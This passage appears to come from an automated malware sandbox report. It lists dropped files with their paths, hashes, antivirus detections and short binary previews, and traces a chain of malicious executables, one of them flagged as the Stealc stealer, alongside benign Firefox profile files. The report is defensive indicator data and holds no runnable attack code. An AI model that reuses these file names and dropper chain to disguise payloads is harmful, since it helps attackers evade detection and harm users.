Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........@1...........@..........................p1......9....@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...oxcwbfly..+......x+.................@...bkmxxdia.....01.....................@....taggant.0...@1.."..................@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3027456
Entropy (8bit):	6.505043580641785
Encrypted:	false
SSDEEP:	49152:8NZEmdkDZn4w6aMWAfGnq2di0ty5rLqSIxk:80mOD2FhGq2dpY5rMx
MD5:	3CE8A084A0D153F38580F6DF179B0BE9
SHA1:	2C4756D7A989761B174CC79913AE4C37E19FFF10
SHA-256:	AF2230310BF32DDE9403E6706E93E157A793C90B24DB6907E77212B0CE557A4B
SHA-512:	8B7688A2DD48DD0912B660CA3798CF037214A6A58E9B03BACFF69D9A6084DA4FDA0FCD72C643ED543034916B9083A025019F867D9B1F15CAADDAA2EC4963C59E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........@1...........@..........................p1......9....@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...oxcwbfly..+......x+.................@...bkmxxdia.....01.....................@....taggant.0...@1.."..................@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2154496
Entropy (8bit):	7.964006956852183
Encrypted:	false
SSDEEP:	24576:0iIeK4bymvElk13GPcWRyRrgrURC2qk32BQUCtuYqlDMEIVREqAzFbrffp4v5ora:ueKwv8aAURGHBQUsuVNIYhzFffh0oM
MD5:	806FDA7172E2FAF55675DD6F5DD76BB5
SHA1:	A0B78D8E750CF05D84F7590295F8C089A0EFB130
SHA-256:	CE2D291542364BE8BEC1008295893BA24B3DA288898923A4F11BB144BD664E6F
SHA-512:	A8C767C42F3988E38D7F400034D846EB68E5A9A0B83E8DEFCCBB068DB9761C26637C1E58015361BE255DD2D5FE81EFC3CDF62B44DCB8279D1DDB49C37BED3E7E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......s...........@...........................s.......!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...xugdxrgk.0...PY.....................@...ygzrgnus......s....... .............@....taggant.0....s..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584656055010914
Encrypted:	false
SSDEEP:	12288:MqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tk:MqDEvCTbMWu7rQYlBQcBiT6rprG8abk
MD5:	E79F27AB2A69921BB110A37574D7B139
SHA1:	AE5A3C3D0602C608D4BED3331CCE90DFEC513451
SHA-256:	3B6C154CB62E1D8797B300EC8615F3CDFB692F5A31B3F6AB5B66278549332D4D
SHA-512:	6DD62C82AFD48CE91BB353F9BE96B8BA6F1D8E2406E689B765943328B1CB4C2FAAD6DE32B388937B586654DFC47E3FE9E5C4EBE4B8320ED896DBBFC904A98122
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...<R$g.........."..........X......w.............@..........................`...........@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003096001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2778624
Entropy (8bit):	6.510150934407278
Encrypted:	false
SSDEEP:	49152:RIEdKjoDJjVnbnxKiZJp+6BuVhEEi+Vt+c:SEdKjkJjVnbbprBg2EZt+
MD5:	481C8B24C57DA4A1A61F3BA321F84C5C
SHA1:	57B83E709DDF9067F94E3831F6CC2E18F59C42EE
SHA-256:	F3DAF351DC8D9B8EC19991E83AD7344D18124790592E971CF3D93070C0800C33
SHA-512:	3E5018BE21D277141C1FFD1716D43E9F809BD9E260612CD0DAE27F62C0973F37A3154905D6E532353808DCDDD15C979CADE9250E016282C09D5F1FB1C7FD1A34
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ....................... +.....kx...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...cfyesryy. .........:..............@...gwntuilp. ..........@.............@....taggant.@......"...D.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2778624
Entropy (8bit):	6.510150934407278
Encrypted:	false
SSDEEP:	49152:RIEdKjoDJjVnbnxKiZJp+6BuVhEEi+Vt+c:SEdKjkJjVnbbprBg2EZt+
MD5:	481C8B24C57DA4A1A61F3BA321F84C5C
SHA1:	57B83E709DDF9067F94E3831F6CC2E18F59C42EE
SHA-256:	F3DAF351DC8D9B8EC19991E83AD7344D18124790592E971CF3D93070C0800C33
SHA-512:	3E5018BE21D277141C1FFD1716D43E9F809BD9E260612CD0DAE27F62C0973F37A3154905D6E532353808DCDDD15C979CADE9250E016282C09D5F1FB1C7FD1A34
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ....................... +.....kx...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...cfyesryy. .........:..............@...gwntuilp. ..........@.............@....taggant.@......"...D.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2778624
Entropy (8bit):	6.510150934407278
Encrypted:	false
SSDEEP:	49152:RIEdKjoDJjVnbnxKiZJp+6BuVhEEi+Vt+c:SEdKjkJjVnbbprBg2EZt+
MD5:	481C8B24C57DA4A1A61F3BA321F84C5C
SHA1:	57B83E709DDF9067F94E3831F6CC2E18F59C42EE
SHA-256:	F3DAF351DC8D9B8EC19991E83AD7344D18124790592E971CF3D93070C0800C33
SHA-512:	3E5018BE21D277141C1FFD1716D43E9F809BD9E260612CD0DAE27F62C0973F37A3154905D6E532353808DCDDD15C979CADE9250E016282C09D5F1FB1C7FD1A34
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ....................... +.....kx...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...cfyesryy. .........:..............@...gwntuilp. ..........@.............@....taggant.@......"...D.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917440
Entropy (8bit):	7.950702827141517
Encrypted:	false
SSDEEP:	49152:nZ8SFLnixhV82C1I/Q3gmwkJjWfSzf4V:nZJ4V82CGQwl/KQ
MD5:	B2151E57C12C984B6273F6CDC418F523
SHA1:	3B85C283AA5F7E99931FAB05655372B150F34240
SHA-256:	8B1DFA60505153BAEB3DA7848A30521752C4F6EDDADC303DEF79C5BEF9334D9E
SHA-512:	DC328755185898DE3BA06717159D3439132D9CF0D7F279C1BF29F3D5C8CE8965014CA9225A6EDC755217B2E9065F6BC328844E1D9DBDF2BC45305C5577EF2BEB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................0L...........@.................................W...k.......D...................\|.K.............................,.K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...xywzvhpg.0....1..&..................@...guxxlfzw......K.....................@....taggant.0....L.."... ..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917440
Entropy (8bit):	7.950702827141517
Encrypted:	false
SSDEEP:	49152:nZ8SFLnixhV82C1I/Q3gmwkJjWfSzf4V:nZJ4V82CGQwl/KQ
MD5:	B2151E57C12C984B6273F6CDC418F523
SHA1:	3B85C283AA5F7E99931FAB05655372B150F34240
SHA-256:	8B1DFA60505153BAEB3DA7848A30521752C4F6EDDADC303DEF79C5BEF9334D9E
SHA-512:	DC328755185898DE3BA06717159D3439132D9CF0D7F279C1BF29F3D5C8CE8965014CA9225A6EDC755217B2E9065F6BC328844E1D9DBDF2BC45305C5577EF2BEB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................0L...........@.................................W...k.......D...................\|.K.............................,.K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...xywzvhpg.0....1..&..................@...guxxlfzw......K.....................@....taggant.0....L.."... ..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917440
Entropy (8bit):	7.950702827141517
Encrypted:	false
SSDEEP:	49152:nZ8SFLnixhV82C1I/Q3gmwkJjWfSzf4V:nZJ4V82CGQwl/KQ
MD5:	B2151E57C12C984B6273F6CDC418F523
SHA1:	3B85C283AA5F7E99931FAB05655372B150F34240
SHA-256:	8B1DFA60505153BAEB3DA7848A30521752C4F6EDDADC303DEF79C5BEF9334D9E
SHA-512:	DC328755185898DE3BA06717159D3439132D9CF0D7F279C1BF29F3D5C8CE8965014CA9225A6EDC755217B2E9065F6BC328844E1D9DBDF2BC45305C5577EF2BEB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................0L...........@.................................W...k.......D...................\|.K.............................,.K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...xywzvhpg.0....1..&..................@...guxxlfzw......K.....................@....taggant.0....L.."... ..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917440
Entropy (8bit):	7.950702827141517
Encrypted:	false
SSDEEP:	49152:nZ8SFLnixhV82C1I/Q3gmwkJjWfSzf4V:nZJ4V82CGQwl/KQ
MD5:	B2151E57C12C984B6273F6CDC418F523
SHA1:	3B85C283AA5F7E99931FAB05655372B150F34240
SHA-256:	8B1DFA60505153BAEB3DA7848A30521752C4F6EDDADC303DEF79C5BEF9334D9E
SHA-512:	DC328755185898DE3BA06717159D3439132D9CF0D7F279C1BF29F3D5C8CE8965014CA9225A6EDC755217B2E9065F6BC328844E1D9DBDF2BC45305C5577EF2BEB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................0L...........@.................................W...k.......D...................\|.K.............................,.K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...xywzvhpg.0....1..&..................@...guxxlfzw......K.....................@....taggant.0....L.."... ..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.923959235451646
Encrypted:	false
SSDEEP:	48:YnSwkmrOVPUFRbOdwNIOdoWLEWLtkDZuwpx5FBvipA6kb92the6LuhakNL9d1xeh:8S+OVPUFRbOdwNIOdYpjvY1Q6LwL18P
MD5:	6E6AB674C7F2AA8F893F98147D768A40
SHA1:	6C15511AB2A9DEEAE36C00573BA2CF0333180B57
SHA-256:	8DEA92E4D4AC922D69346D197789BA48CD18B857A5195CB1DFE519A83C517288
SHA-512:	7DA190EC527390ADE2D466E84DCC954692F1070198FF6F69011DCA2A9AD2CC50CFDE2AE2DBE323D8D5DCD742D3D4DBE6E31C508710A798160750030CFE4ED534
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"3ba649bc-be47-4b92-8762-21cab57bda3b","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-04T13:40:33.697Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.923959235451646
Encrypted:	false
SSDEEP:	48:YnSwkmrOVPUFRbOdwNIOdoWLEWLtkDZuwpx5FBvipA6kb92the6LuhakNL9d1xeh:8S+OVPUFRbOdwNIOdYpjvY1Q6LwL18P
MD5:	6E6AB674C7F2AA8F893F98147D768A40
SHA1:	6C15511AB2A9DEEAE36C00573BA2CF0333180B57
SHA-256:	8DEA92E4D4AC922D69346D197789BA48CD18B857A5195CB1DFE519A83C517288
SHA-512:	7DA190EC527390ADE2D466E84DCC954692F1070198FF6F69011DCA2A9AD2CC50CFDE2AE2DBE323D8D5DCD742D3D4DBE6E31C508710A798160750030CFE4ED534
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"3ba649bc-be47-4b92-8762-21cab57bda3b","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-04T13:40:33.697Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03671671444904886
Encrypted:	false
SSDEEP:	3:GtlvV/zK0fPDFIHYlvV/zK0fPDFQl/PlL9//2ltltl:GtreHYrGl/h9XCt1
MD5:	207FB9065FF3C569A566940E3DF59EE5
SHA1:	4BE83670CB21F3CFC439D48B1CABA7C63B343C38
SHA-256:	31536C2CCFE18730D67FB1F8BA84CB7C3B6E41CF4584C8432F61C589BE9F459D
SHA-512:	91BDCB68A42035A3F6A2B7866BAD4BF750F94A6561230DFF245D80A7A96AABA1273B4718C613539289DF092EE2F2796628AA9BFA76D40EF44F05754DF69869D1
Malicious:	false
Preview:	..-......................V;J~....Q4.....w.ig......-......................V;J~....Q4.....w.ig............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	65616
Entropy (8bit):	0.034643606512423195
Encrypted:	false
SSDEEP:	6:KyeBHlylR0T7ul8dMhm93x0TjW0D1tl8dMhm93w:KyeBHlylqm8Ww93Kjv1X8Ww93w
MD5:	895148755B1CFCCEE975B17E768D0192
SHA1:	89E3C6BA1DA1895387A80F6C22266C2A46A7AB63
SHA-256:	FC8DE3FDB0CA02584373C108938DC10646CC737A9DEF8A6CF28BC721E4BA3A48
SHA-512:	64C7CDD2175EE3E25E99D3C61009CD3C9151BB5FD0BA8C6A9BA24117926934D66A61261D780FE8CAED208A751702A28838B8B58AD62C72C3B1A27D404D11312D
Malicious:	false
Preview:	7....-...........Q4......T..(.,.........Q4.....3....z.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

